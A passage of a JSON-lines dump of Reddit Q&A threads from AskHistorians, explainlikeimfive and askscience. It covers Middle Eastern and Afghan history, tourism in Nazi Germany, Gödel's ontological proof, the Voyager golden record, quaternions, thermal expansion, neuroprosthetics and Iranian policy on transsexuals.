growth, non-elites are much more visible. Istanbul was a city of one million in 1950 and is a city of at least 15 million today. This changes who gets seen by foreign journalist and, quite frankly, who is even considered important by elites in the ountry. \n\nMuch of the supposed liberalism of the 1970\u2019s seems caught up in male fashions of the period. Male fashions were certainly deeply, deeply influenced by Western trends, as they continue to be today. I live in Istanbul, and there is a large stream of tourists from the Gulf. Men tend to wear something like t-shirt and cargo shorts, women in some form of abaya. People tend to look at old pictures and see Western clothes and automatically assume Western values. This is not necessarily the case. \n\nI\u2019ve never seen any real evidence that the Muslim Middle East was more liberal in the past; in fact, all the evidence I\u2019ve seen points consistently in the opposite direction. The one caveat I would make are places like Saudi Arabia and Iran, which saw extensive changes in legal regimes in 1979. Saudi Arabia was never liberal and it\u2019s not clear to me that Iran is, in terms of opinions held, actually less liberal today than it was in the 1970\u2019s, though now there is an austere moral and sartorial code enforced by religious police which obviously changes the outward appearance of the country. But there is a thriving subversive underground, just outside the of state\u2019s gaze\u2014see Pardis Mahdavi\u2019s *Passionate Uprisings: Iran's Sexual Revolution* or Janet Afary\u2019s *Sexual Politics in Modern Iran* for more on that part. \n\nFor more, see the following two older posts I wrote\u2014the first is particularly about what you\u2019re interested in. \n\n * [Do the ubiquitous photos of Iran prior to the ascent of Ayatollah Khomeini (showing the country as very Western and cosmopolitan) accurately reflect the mores and sensibilities of Iran's general population or were such \"indulgences\" largely limited to the more privileged and urban?](_URL_1_)\n\n * [Did majority of women in medieval Islam not wear hijab? I ask this because majority of women in 20th century Muslim countries do not wear hijab until recently](_URL_0_)", "The Middle East is a vast area that, as it happens, does not include Afghanistan. Afghanistan is, geographically, historically, and culturally, more similar to Kyrgyzstan than Iraq.\n\nBut to answer your question, let's go back to the beginning. Well, not the entire beginning. Afghanistan as we know it began in 1747, but it gained its 'independence' (though it had never been directly administered) in 1920. This was partly because the King had led a program of modernization, centralization, and international outreach, which he continued. It was during this time Afghanistan really got rid of banditry and tribal raids, becoming basically peaceful. There was a conservative reaction to some of the more radical reforms in 1929, but within a year royal forces had re-established control and a more moderate royal was in control. He slowed reform and was assassinated for it.\n\nWith that death, Mohammad Zahir Shah became Emir. He continued the more moderate course. The Emir and his government repeatedly sought modernization while placating conservative elements, sometimes backing off, sometimes pushing forward as the political climate allowed. They notably stayed away from things like banning the burqa and other heavy fisted methods. By 1964, Afghanistan was a constitutional monarchy that was partly democratic, with a relatively modern capital city and open elections. Many of those pictures of women without headscarves talking about academic subjects are elite women from the capital. But you can see them interacting with women in burqas too. A sign of the monarchy's approach: the burqa was neither required nor forbidden.\n\nIn 1970, Afghanistan entered economic crisis. Then there was a two year drought through which the crisis continued. In 1973, a former politician led a coup, citing corruption. This was true, but it had always been true, and the coup was probably triggered by the monarchy's weakness and the dissatisfaction of pro-modernization factions. Regardless, the new government was rather dictatorial.\n\nThis was theoretically pro-modernization through single party rule. However, the modernization program gave way to pragmatic compromises to maintain control, and modernization stalled and even rolled back. The government was deeply unpopular and couldn't fulfill most of its promises. In 1978, the Communists launched a coup. The Communists too were not popularly supported and were highly dictatorial. In fact, they had less popular support and were more dictatorial. They quickly proclaimed state atheism and began to do things like ban beards and burqas and closed down many mosques. They killed (or tried to kill) leaders they suspected of being anti-communist, including basically all religious figures. This caused those in the center of the country to flee to the edges, and local powers to arm themselves and resist central authority.\n\nThis is the beginning of the warlordism we know Afghanistan for.\n\nThe Communists were never very popular and quickly had to call in Soviet support. The Soviets were not particularly capable of governing the country either. But as Communism is, broadly speaking, a leftist ideology, they emphasized the modernity of Communist Afghanistan. They portrayed all their opponents as backwards and reactionaries without major popular support. This is where the idea that Afghanistan was liberal in the '70's and '80's comes from, even though it was arguably safer and freer in the '60's under the monarchy. This view is still popular with people who see the monarchy's compromises with religious authorities as too soft handed.\n\nThis Civil War cum Anarchy continued throughout the eighties. The Soviets withdrew in 1989 and the Communist government fell in 1992. The various warlords met to discuss peace settlements. They actually did come up with an agreement, the Peshwar Accord. But an Islamist party, Hezb-e Islami, had not done particularly well in the settlement and started a war. Several warlord forces received support from foreign powers, resulting in a new civil war. Two years later, the Taliban emerged, explicitly with the mission of bringing peace by bringing Islam to Afghanistan and ending warlordism and corruption. (It didn't matter, of course, that Afghanistan was virtually all Islamic already.)\n\nThe Taliban were very successful for a variety of reasons and by 1996 controlled two thirds of Afghanistan. The northern third was controlled by warlords opposed to the government. The Taliban enacted their strict interpretation of Islamic law, which was rather horrific in many ways. This was immediately used as propaganda fodder and it squared rather nicely with the deposed Communist government's claims that it was the only thing keeping Afghanistan 'modern'. Its opponents had triumphed and now a very conservative, very reactionary, very brutal government had come to power. (Although, arguably, not any less brutal than the Soviets/Communists. But, naturally, Communists saw brutality against religious populations as less important than brutality against communist sympathizing populations like educated urban dwellers.)\n\nTL;DR: The moderate modernizers suffered from a long economic depression, were ousted by a coup from more radical modernizers, who in turn were ousted by a coup from the Communists. The Communists were heavy handed radicals and started a civil war during which many (but not all) of their opponents were conservatives. These groups agreed to form a moderate government but far right Islamists launched a civil war before it could get off the ground. These Islamists were ousted by even more radical Islamists known as the Taliban. The Taliban proceeded to create a highly reactionary Afghanistan."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.reddit.com/r/AskHistorians/comments/4xnkl8/did_majority_of_women_in_medieval_islam_not_wear/d6h4q8j/", "https://www.reddit.com/r/AskHistorians/comments/48dfpw/do_the_ubiquitous_photos_of_iran_prior_to_the/"], []]}
{"q_id": "7axdvr", "title": "How common was visiting Germany as a tourist during the Nazi period?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7axdvr/how_common_was_visiting_germany_as_a_tourist/", "answers": {"a_id": ["dpdql5q", "dpdw4ls", "dpdxlom", "dpe4blf", "dpe66sw", "dpe6iit", "dpe7zvy"], "score": [209, 53, 56, 7, 20, 646, 17], "text": ["As a follow-up/slight refocusing:  Can one track a change in tourism levels throughout the period?  I figure the tourism wouldn't be amazing during the height of Germany's hyperinflation, and obviously tourism would've dropped off during and around WW1 and 2, but if there's any way to track what might be a \"standard\" rate of tourism for Germany during the period, I could see that being valuable in answering this question.", "Followup: How much did the distribution of nationalities among tourists change during that period?", "Follow up: How were Jewish tourists treated? ", "Another follow-up: Can anyone elaborate on W.E.B. DuBois and Jesse ~~Jackson's~~ Owens' experiences in NS Germany? ", "Another follow up, are there any instances of people visiting Germany and being sent to a concentration camp or detained? ", "Nazi-era Germany wasn't necessarily destination number one for foreigners looking to travel abroad, but that isn't to say it wasn't seeing any visitors, and during the 1930s, Germany wanted to encourage people to see it as a travel destination for both economic and propagandist reasons. the push came both from private, industry related organizations such as well as government related groups, one of the big ones being the Reichsbahnzentrale fu\u0308r den Deutschen Reiseverkehr (German Railroads Information Office, or RDV), which was one of the biggest initiatives for promotion of Germany as a vacation destination, which took up the vast majority of its advertisement focus. They ran 31 offices in 26 countries by 1938, and coordinated from its headquarters in Berlin. The aim of the RDV in its promotions was to serve state needs, not only bringing in foreign currency from visitors, but also attempting to create more positive images of Hitler's Germany for people, even if they were unable to follow through with the journeys the RDV was selling.\n\nThe image that the RDV projected was one heavily laced with propaganda. They billed Germany as a modern, attractive, cultural destination, but heavily played up \"*how Germany is going ahead: no unemployment, production at peak levels, social security, gigantic projects for industrial development, economic planning, organized efficiency, a dynamic will of pulling together \u2013 a happy, energetic people who gladly share their achievements with you*\" to quote one ad. The low cost of Germany as a destination was also a popular draw that the RDV played up, a favorable exchange rate for most foreign visitors allowing for the country to be billed as a good destination for those on a budget.\n\nTo focus on the USA, the RDV had an annual budget of 470,000 RM which were spent on initiatives such as newspaper advertisements, promotional films, and informational handouts for travel agencies, highlighting and promoting different destinations of interest in Germany and various events being held through the year that might draw people. They also did 'cultural' promotions with museums and schools. Prospective travelers could reach out to the RDV office and receive sample itineraries to help them plan their trip, as well as informational packets to guide them on various things they would need to be aware of. Although it of course doesn't mean every single person ended up going through with a trip, the RDV was receiving anywhere from 65,000 to 150,000 such inquiries a year during the 1930s, which can help give some idea of the level of interest for travel to Germany from the USA during the decade. The campaign was evidently successful too, and authorities recorded that from 1934 to 1937, numbers of American tourists had doubled. Interestingly, even after war broke out in 1939, the RDV continued to operate in the US, working to signal German confidence in a speedy victory and resumption of travel in the near future, nothing more than thinly veiled propaganda at that point in time - to the ire of many - but it wouldn't be closed down by the US until June of 1941 (offices in neutral and Axis countries would remain open beyond that point).\n\nAll in all, the push for foreign tourists seems to have been a successful one. from 1933 to 1935, German authorities claimed that foreign tourism increased 260 percent. Although as with any numbers from the Nazi government, it must be taken with a grain of salt as to its precise accuracy, the numbers certainly were going up. To quote from Semmens' \"Seeing Hitler's Germany\", from which I've been drawing on here, she provides a brief overview of the numbers for the middle of the decade:\n\n > The Olympic Games marked a banner year in international tourism and Berlin was not the only city to benefit. That summer, 1.2 million foreigners, about 15 per cent of all registered visitors, arrived in Germany, an increase of 55 per cent over the summer of 1935. Thuringia alone witnessed a 61.3 per cent rise in visitors from abroad.77 But the Olympic year merely presaged what was to come. Berlin welcomed almost 56,000 more foreigners in 1937 than it had in 1936.\n\nLooking at the entire initiative, it seems to have been on the whole successful in the goals Germany wanted. While the rising amount of tourist traffic to Germany should be understood as part of the larger international picture which \"saw a continual increase in leisure travel after the Great War\", the initiatives by the German government specifically played an undoubted part in seeing the country, specifically, chosen as a destination out of other options. And although not every visitor of course was swayed and instead left with sour impressions of the Nazi movement and the changes it had wrought, most visitors seem to have left the country for home with thoroughly positive impressions of what they had seen, extolling the \"pleasant normality\", a small victory for the propagandist aims of the tourist initiative as a whole, although of course hardly enough to sway international opinion in the end.\n\nAll cited from \"Seeing Hitler's Germany: Tourism in the Third Reich\" by Kristin Semmens. Specifically see Ch. 6 \"International Tourism\" pp. 129-153\n\nEdit: I like run on sentences...", "A challenge in answering this question for all of Germany is the lack of statistical data for the interwar years. In the German Kaiserreich (1871-1918) the only state with an official tourism Statistic (*Landesfremdenverkehrsstatistik*) was Bavaria from 1910 onwards. During the Weimar Republic (1918-1933) the other states were also obliged to compile according Statistics. However, according to 1997's \"Reisekultur in Deutschland: Von der Weimarer Republik zum Dritten Reich\" (Peter J. Brenner et al) it took several years until reliable data was available. The same book also describes the first national tourism Statistics and notes that the *Statistisches Reichsamt*'s figures (quoted on p. 56 from their yearbooks) are initially not representative for Germany as a whole since they are explicitly sampled from merely ten destinations. Only starting in 1929, the yearbook lists data from 2000 municipalities, in 1936 for 3155 municipalities and from 1937 onwards for 4650 municipalities - still a lot less than the total number (~ 75000), but likely covering the relevant tourist destinations.\n\nAlso note that Germany hosting the Olympic Games (Summer and Winter) in 1936 will heavily influence data for that year.\n\nThat said, the original question can be answered for Bavarian municipalities until the late 1930s. The city of Nuremberg has put some older issues of its *Statistisches Jahrbuch* (statistical yearbook) online. Taking their figures, ...\n\n* in 1919, out of 227967 visitors staying overnight, about 91 % were Germans and 1,2 % were Austrians and Czechoslovakians. ([Table 144](_URL_1_) and [Table 145](_URL_3_)).\n\n* in 1920, out of 239885 visitors staying overnight, about 88 % were Germans and about 2,5 % were Austrians and Czechoslovakians. Four Australians visiting individually, BTW. ([Table 144](_URL_1_) and [Table 145](_URL_3_)).\n\n* in 1928, out of 283824 visitors staying overnight, about 80 % were Germans and around 4 % were Austrians and Czechoslovakians ([Table 104](_URL_0_)).\n\n* in 1929, out of 288646 visitors staying overnight, about 79 % were Germans and around 4 % were Austrians and Czechoslovakians ([Table 104](_URL_0_)).\n\n* in 1930, out of 290426 visitors staying overnight, about 74 % were Germans and around 4 % were Austrians and Czechoslovakians ([Table 104](_URL_0_)).\n\n* in 1934, out of 233410 visitors staying overnight (but excluding 497000 visitors to the *Reichsparteitag*!), about 83 % were Germans and a bit less than 0,7 % were Austrians (now counted without Czechoslovakia). ([Table 86](_URL_4_)).\n\n* in 1935, out of 289704 visitors staying overnight (but excluding 50124 visitors to the *Reichsparteitag*!), about 86 % were Germans and around 0,8 % were Austrians. ([Table 86](_URL_4_)).\n\n* in 1939, out of 438539 visitors staying overnight, about 92 % were from places in the *Deutsches Reich* (including Austria). The high number of visitors might include visitors for the scheduled Reichsparteitag which was cancelled on short notice. ([Table 85](_URL_2_)).\n\n* in 1940, out of 263581 visitors staying overnight, about 98,6 % were from places in the *Deutsches Reich* (including Austria).  ([Table 85](_URL_2_)).\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.daten.statistik.nuernberg.de/JB/1930/seiten/JB_1930_050_103_105.htm", "http://www.daten.statistik.nuernberg.de/JB/1920/seiten/JB_1920_085_143_144.htm", "http://www.daten.statistik.nuernberg.de/JB/1940/seiten/JB_1940_051_84_85.htm", "http://www.daten.statistik.nuernberg.de/JB/1920/seiten/JB_1920_086_145.htm", "http://www.daten.statistik.nuernberg.de/JB/1935/seiten/JB_1935_049.htm"]]}
{"q_id": "1g006w", "title": "kurt godel's ontological proof for the existence of god.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1g006w/eli5_kurt_godels_ontological_proof_for_the/", "answers": {"a_id": ["caffu9v"], "score": [33], "text": ["All ontological arguments for God more or less are a variation of something like this:\n\n* We have the capability in our minds to access very abstract concepts. For example, we believe there is a thing called a \"triangle.\" We can describe it mathematically and logically. If we try to draw one, though, we find, under close scrutiny, that every triangle we draw is a little imperfect \u2014 at the microscopic level, for example, all straight lines are pretty bumpy. Nonetheless, we believe that there is a transcendent category of \"triangle\" that exists somewhere outside of the human mind, even if every specimen we see in real life is flawed.\n\n* We have a category for \"perfection.\" We know that while individual instances of \"perfection\" may, under close scrutiny, have flaws, we still believe in \"perfection\" as an abstract concept.\n\n* Ergo, somewhere, there must be something that is truly, ultimately, 100% perfect. And that thing is what we can call \"God.\" \n\nNow if that seems a little hand-wavy to you, well, _yeah_. It is an argument used by philosophers and theologians that is utterly un-compelling to people who are actually interested in a compelling argument for or against God. Because we know that we have categories in our heads that don't seem to exist in the world in a real sense (\"Klingons,\" \"unicorns,\" \"a space alien with a million eyes that lives in the gases above Jupiter\"). And we also know that while the question of whether mathematical types are \"natural\" (does a triangle really exist independently of the human brain? this is an open question in neurophilosophy) may be an open one, we definitely know that in a lot of other realms (like biology), the appearance of natural categories is something of an illusion of our mammalian perception system (we have evolved to spot genus-level differences very quickly; we have much more difficulty with species-level differences, for example). If you really embrace Darwinism then you really don't believe in natural categories of living things, just a lumpy spectrum of some things that share different percentages of their genes with others. \n\nEven for triangles, it's not clear that just because we can define something logically, and make use of that logical concept, that it actually necessitates that there must be some perfect form of it really existing on some kind of higher (but still \"real\") plane. It isn't at all clear, in any case, that the existence of abstract concepts like \"triangles\" also applies to things like \"perfection\" or \"goodness,\" much less \"God.\"\n\nAnyway. G\u00f6del's proof is a variation of the standard ontological argument that uses modal logic. He sets up a bunch of axioms and then runs through the logic of them. A short version of what he said is along the lines of:\n\n* Everything has a property\n* Certain properties are \"positive\"\n* Properties that are \"positive\" are consistent\n* The property \"God-like\" is \"positive\"\n* Thus there is something in the world that has the property \"God-like\"\n\nAgain, pretty weak-sauce if you are not a logician. The entire logical chain rests on your agreeing with his axioms, which are hardly self-evident. And as I've implied before, the problem with ontological arguments for God is that you can generally plug in absurdities into the \"things that must exist\" column while you're at it.\n\nI've never found ontological arguments worth any time; they are navel-gazing exercises in formal logic, they have nothing to do with anything in the real world. There are better arguments for God out there (the teleological \"watchmaker\" arguments, though flawed, are still better than the ontological arguments), and there are more interesting arguments for God out there (ontological arguments only really produce boring discussions amongst philosophers; they never convert anybody to or from a belief system and they don't provoke any kind of new discoveries or investigations). Ontological arguments are logic and word games, and not much more, in my view. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "60a34k", "title": "how can we estimate that the golden record on voyager will last a billion years?", "selftext": "Also what would even cause it to be destroyed over time?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/60a34k/eli5_how_can_we_estimate_that_the_golden_record/", "answers": {"a_id": ["df4note", "df4oy11", "df50h93", "df53p5n", "df54ikt", "df585t6", "df58zdf", "df5b46m", "df5ban6", "df5clwt", "df5eqlx", "df5iq7c", "df5t8w8", "df5uzs8"], "score": [253, 2597, 39, 119, 425, 192, 271, 6, 13, 5, 138, 4, 2, 3], "text": ["Space is not empty; there is dust everywhere. On average, there are about 0.1 to 10 particles per cubic centimeter. It's mostly hydrogen which isn't a big deal. Over time though, the effects of this constant barrage of dust will degrade the record to the point where it becomes unplayable. ", " >  How can we estimate that the golden record on Voyager will last a billion years?\n\nWe can't, really. \n\n1. As the pre-poster wrote in space you have a barrage of \"small particles\" that might wear anything away. \n\n2. We have radiation that also wears material away, it is little, but it is there. \n\n3. We do not know what exactly is out there at the fringe of the solar system, there's theories/observations that there's an area (large!) with solar winds, we have no idea what the effects/long-term effects of this are.\n\n4. Finally, at the end of the solar system, is the Oort cloud. It is icy particles and... stuff? We don't know.\n\n5. We really do not know about our solar system and much, much less in specific about what is beyond. \n\n6. A billion years is a very long time. A *very* long time.\n\nNow, we do assume that because the record is from gold there are not many chemical reactions happening. As we assume that there is not that much radiation out there and gold is pretty robust (the gold atoms are pretty heavy) we assume it cannot really wear it down. As it is pretty cold out there we assume there is not much happening inside the material (\"heat\" is basically just movement of atoms and as it gets cold, they move less). As we assume that, while it is \"stuff\" out there it is not \"dense\" in any way we use the term here on earth, there is not much physical interaction (note that even gas clouds and asteroid fields still constist of \"basically nothing\" if we use our earth-bound terms for \"a lot\" and \"basically nothing\"). Couple 1.-5. with 6. and... we can assume it will survive a very long time - but we really don't know. ", "Also, isn't it likely that much before then we'll be able to pass its speed with newer technology?", "ex reliability engineer here.\n\nAnswer: shittily. We can't really test for a longer period than the test lasts - extrapolation is just a wild guess. We use a bunch methods, like rapid temperature cycling, and a lot of assumptions. It is better than nothing.", "Well currently both Voyagers are in interstellar space, and in the start of the 2020s, Voyager 1 is going to lose signal, and power. The golden record is an interesting topic, and I read a cool [article](_URL_0_) about it recently. As far as it last a billion years, we would never really know. There is of course not that much to hit it, except of course some dust. In fact, the record actually contains a piece uranium that can be used to date it. For all we know, some other life form could find it before a billion years has actually passed. Could probably always get hit some rock anyways, although that chance is extremely small.\n\nEdit: I'm amazing at spelling, and grammar.", "The elephant in the room is that the record may physically exist for hundreds/millions/billions of year, but it may not be able to be played down the road. As mentioned up thread, gold is a robust element on Earth and has a better chance of surviving long-term compared to iron. But will it still play if aliens figure out the instructions. We won't know.", "It doesn't matter. The record is for us. The message is to humans. That message is that we are a presence in our solar system, in this arm of the galaxy, in the galaxy and in the universe.\n\nOf course we won't last forever (let alone our recorded voices and data) and don't seem to be particularly important at all. But we can dream.", "It's likely the micrometeoroids will damage the record in a millenia or two, gold is very malleable, and easy to deform.", "according to this book I read once, anything not carved in huge letters in some future-tech hard material isn't going to last more than a few million years, at best\n\ne: most likely 500k years would be pushing it. ", "Oh it won't.   The gold as an element will, but between cosmic dust, and being bombarded in interstellar space by rays from other stars, in less than 1000 years voyager, and the record, will look like something that's been through a junkyard press after being shot by a few hundred 12 gauge rounds.", "Interesting fact I was unaware of \"Each record is encased in a protective aluminum jacket, together with a cartridge and a needle\". \n\nSo it looks like that record will survive for a LONG time.  Much longer than modern man likely will. \n\nAlso the records are gold plated copper.", "if a space rock the size of my pinky toe hit that thing ONCE per million years, it would be destroyed in a billion years.", "How do we know some asteroid won't hit voyager or if voyager might just fall into a sun?", "What can cause the Voyager record to be destroyed over time?\n\n1) Small chance of running into a star or planet.\n\n2) Slow erosion running into bit sof dust/gas\n\n3) Slow damage caused by radiation (Cosmic Rays).\n\n4) Collapse of universe.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.vox.com/2015/11/11/9702090/voyager-golden-record-pictures"], [], [], [], [], [], [], [], [], []]}
{"q_id": "4cc74j", "title": "Could we further extend the complex plane to a third dimension? If so what would it represent.", "selftext": "We extended the number line to the complex plane. a + bi where i represents the root of -1. Is there a number system like so a + bi + ck where k represents something that can't be represented in the form a + bi?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4cc74j/could_we_further_extend_the_complex_plane_to_a/", "answers": {"a_id": ["d1ha9to", "d1iree3"], "score": [20, 2], "text": ["This cannot be done. \n\nThe [Fundamental Theorem of Algebra](_URL_0_) says that the Complex Numbers are as big as you can get. We can find a complex number that satisfies any algebraic relation in the complex plane. If we were to include an extra element \"k\" to create a new number system it would be artificial and not really have much meaning as a \"number\"\n\nFor example, there are the [Quaternions](_URL_1_), which are a 4D space, created by i,j,k so that i^(2)=j^(2)=k^(2)=-1. But these are artificial additions into the Complex Plane, they don't use anything about the Complex Plane or anything about any number systems to create them, so they shouldn't be seen as \"numbers\". Further, pretty much everything that we actually do in number theory does not apply to quaternions, they're too different from everything in the field. So if literally nothing from number theory applies to quaternions, then it doesn't make sense to think of them as numbers. To contrast this, Quaternions arise naturally in *geometry*, when we study rotations and they arise in certain classification theorems in topology in a non-artificial way. So the Quaternions should be thought of as *geometric* and not as numbers. ", "/u/functor7 gave a good response, but I want to elaborate further. I disagree that we should disregard the quaternions as a number system, for various reasons. The real and complex numbers both form normed division algebras over the field of real numbers, that is an algebra (a certain type of mathematical structure) with division and a length magnitude assignment to elements of the algebra(a norm). Now it turns out there are only four such algebras over the real numbers, the real numbers themselves, the complex numbers, the quaternions, and the octonions. If normed division algebra correctly captures what you mean by number system here, then you can't have a 3 dimensional number system but you can have the quaternions, which are a four dimensional system.\n\nQuaternions are a fun and interesting system to think about, they're non-commutative so there is no guarantee that a * b = b * a. \nThey're also described by the relationship that i^2 = j^2 = k^2 = ijk = -1. But i, j, and k are all distinct elements. \nQuaternions have a few useful application in the real world, such as modeling rotations for computer graphics. \n\nThe octonions are the other system you get which are eight dimensional, and you even lose associativity in this system. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Fundamental_theorem_of_algebra", "https://en.wikipedia.org/wiki/Quaternion"], []]}
{"q_id": "7lk6qf", "title": "what does it mean to have a god complex?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7lk6qf/eli5_what_does_it_mean_to_have_a_god_complex/", "answers": {"a_id": ["drmtzt0", "drmu7ec", "drmxe78"], "score": [4, 16, 10], "text": ["It simply means that the person with the God complex thinks they're the best either at everything or within the context of the complex. People with high ranking positions may show signs of having god complexes like doctors, surgeons, police officers ect\n\nFrom Wikipedia\n\nA person with a god complex may refuse to admit the possibility of their error or failure, even in the face of irrefutable evidence, intractable problems or difficult or impossible tasks. The person is also highly dogmatic in their views, meaning the person speaks of their personal opinions as though they were unquestionably correct.[1]\u00a0Someone with a god complex may exhibit no regard for the conventions and demands of society, and may request special consideration or privileges.[1]\n\nGod complex\u00a0is not a clinical term or diagnosable disorder and does not appear in the\u00a0Diagnostic and Statistical Manual of Mental Disorders\u00a0(DSM).\n\nThe first person to use the term god-complex was\u00a0Ernest Jones\u00a0(1913\u201351).[2]\u00a0His description, at least in the contents page of\u00a0Essays in Applied Psycho-Analysis, describes the god complex as belief that one is a\u00a0god.[3]\n\n", "Schizophrenics often think that they are responsible for everything happening to them and around them. They think they are willing the sun across the sky and controlling other people's behavior as well. It's similar to solipsism I think.\n\nOr did you mean a Messiah complex? Because that's a different thing altogether.", "Somebody with a God complex believes that they never make a mistake, and that they are the best at whatever they do. Even when you prove to them that they made a mistake, they just won't believe you.\n\nIt's not a medical term, so there's not really a precise and exact definition. But if you're dealing with somebody who always thinks they're right all of the time, are better than anyone else, and think they deserve special privileges while not caring about anyone else's rights, you could say they have a God complex."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5rnrg8", "title": "If you drill a hole in a metal plate and then freeze the plate, does the hole get smaller, bigger or stays the same?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5rnrg8/if_you_drill_a_hole_in_a_metal_plate_and_then/", "answers": {"a_id": ["dd8rxn7", "dd8uws0", "dd8yap6"], "score": [25, 3, 3], "text": ["Reduce the plate to just the material around the hole. That material will contract, shortening the length (circumference). Therefore the hole will get smaller.\n\nIf the whole object didn't behave the same way, there would be tremendous forces generated as the bulk material pulled away from the material right around the hole, and we'd see weaker materials actually separating under these conditions. We don't. (There are other ways to prove the whole - heh - acts like the hole lining does.)", "The Hole will contract as you cool the plate, and the effect follows the materials [coefficient of expansion](_URL_1_). Most materials expand with heat and contract with loss of heat. \n\n[Here's](_URL_0_) a PDF of the the thermal coefficient of different metals.", "If you want to think of the opposite, there is a way to make permanent rivet connections by freezing. Use a rivet of the same or slightly larger diameter of the hole it\u2019s going into, then dip the rivet into liquid N. It will shrink enough that it will fit into the hole and when it warms up it will be tight. You can\u2019t cool it to shrink it enough without also cooling and shrinking the metal plates it is securing. As well, heating and expanding the plates also heats and expands the rivet. This technique is sometimes used in the aerospace industry."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.balseal.com/sites/default/files/tr18_020707131421.pdf", "https://en.wikipedia.org/wiki/Thermal_expansion"], []]}
{"q_id": "145fno", "title": "How well can we produce Neuroprosthetics?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/145fno/how_well_can_we_produce_neuroprosthetics/", "answers": {"a_id": ["c7a106c", "c7a26ue", "c7a8z46"], "score": [4, 7, 2], "text": ["They are existent. They are becoming mainstream. Look at Center for bionic medicine at northwestern. That is just one of literally hundreds of places doing research. And this research is happening all over the world. \n\nKeywords for you to google for self-study: BMI, brain machine interface, myoelectric prostheses, neuro engineering, neural engineering, neurorobotics, computer machine interface, targeted muscle reinnervation, etc.", "It's definitely possible to use neuron ensembles as the driving force for neuroprosthetics. The most basic example is a cursor-control device, which is just one or two degrees of freedom. I believe there are some labs (Schwartz or Donoghue) working on control in multiple degrees of freedom. Cortical control of a neuroprosthetic device like you've mentioned would essentially be an extension of these.\n\nIf you can decode activity from the motor cortex using electrodes, you can make it work for a short amount of time (months? I don't actually know the time scale). One of the most promising bits of research in the past year was in Lee Miller's lab at Northwestern; they decoded signals from the motor cortex and used the activity to drive implanted stimulators in a paralyzed monkey's arm. They were able to restore grasp when the system was on. This is great news for cortical control of neuroprosthetics.\n\nI can't think of a single motor neuroprosthesis that's readily available to patients which uses activity in the motor cortex. That's not to say it's not going to happen, the field is just too much in its infancy yet. I believe the Deka 'Luke' arm is probably the furthest in terms of clinical devices, but it uses targeted muscle reinnervation (transplanting the nerve from the amputated limb to a region on the torso) and EMG activity.", "I've done research on EEG controlled devices, which maybe fits what you are thinking of. On the dataset I was working on, we could get a 91% accuracy in determining if the people were moving their right or their left hand (actually if they imagined doing so, which activates the same regions). The method was ~99.9% accurate for some people, and 70-80% accurate for others. \n\nIt works by determining where activation patterns on the scalp change during a movement, and then putting the signal through a mathematical transformation that maximizes the difference between the classes of action you want to discriminate between. This process is known to be pretty much optimal, so I don't expect any significant breakthrough in that area. There are other things one can look for in order to discriminate between signals, but I haven't seen anything hugely promising. Bottom line, I don't think EEG based brain machine interfaces will get significantly better by any algorithmic improvement. (IBM has predicted that our phones will know who we want to call via EEG in five years - I am fully convinced that this is physically impossible.) \n\nBut EEG based BMIs are like listening in on individual conversations in a packed football stadium while you're flying over in an airplane. If you can place the electrodes nearer to the neurons of interest through an invasive procedure, you could probably use the same or similar algorithms to do amazing things. Some work like this has been done on monkeys, as Vorenas mentions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "328908", "title": "why is iran relatively accepting of transsexuals?", "selftext": "I was quite surprised to learn that Iran takes a fairly liberal view of transsexuals, particularly given the country's very conservative views towards homosexuality.\n\nI read the Wikipedia article: _URL_0_, but it doesn't seem to explain why this is the case.\n\nIs it a cultural thing? Is it something unique to Shia, or Twelver Shia Islam? Where do these views come from?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/328908/eli5_why_is_iran_relatively_accepting_of/", "answers": {"a_id": ["cq8sl5y", "cq8ww9o", "cq90w94", "cq97ta4"], "score": [120, 5, 32, 2], "text": ["It is a way of avoiding homosexuality. If a man loves another man it must be because they are supposed to be a woman so we allow them to change gender and then there is no problem. ", "On a slightly related note, there is a significant history of men dressing as women in India as well, and it's pretty accepted. I wonder if that is related.", "The Ayatollah was told a heart-wrenching personal story of the struggles faced by a trans person in Iran. The Ayatollah was so moved that he changed the law to allow gender reassignment surgery . . . It blew my mind when I heard that Iran allows such a thing.", "i always thought this has to do with [bacha bazi](_URL_0_) of which i though reading the question. There's a [documentary](_URL_1_) of the practice."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Transsexuality_in_Iran"], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Bacha_bazi", "https://www.youtube.com/watch?v=KoBK8kHFbXE"]]}
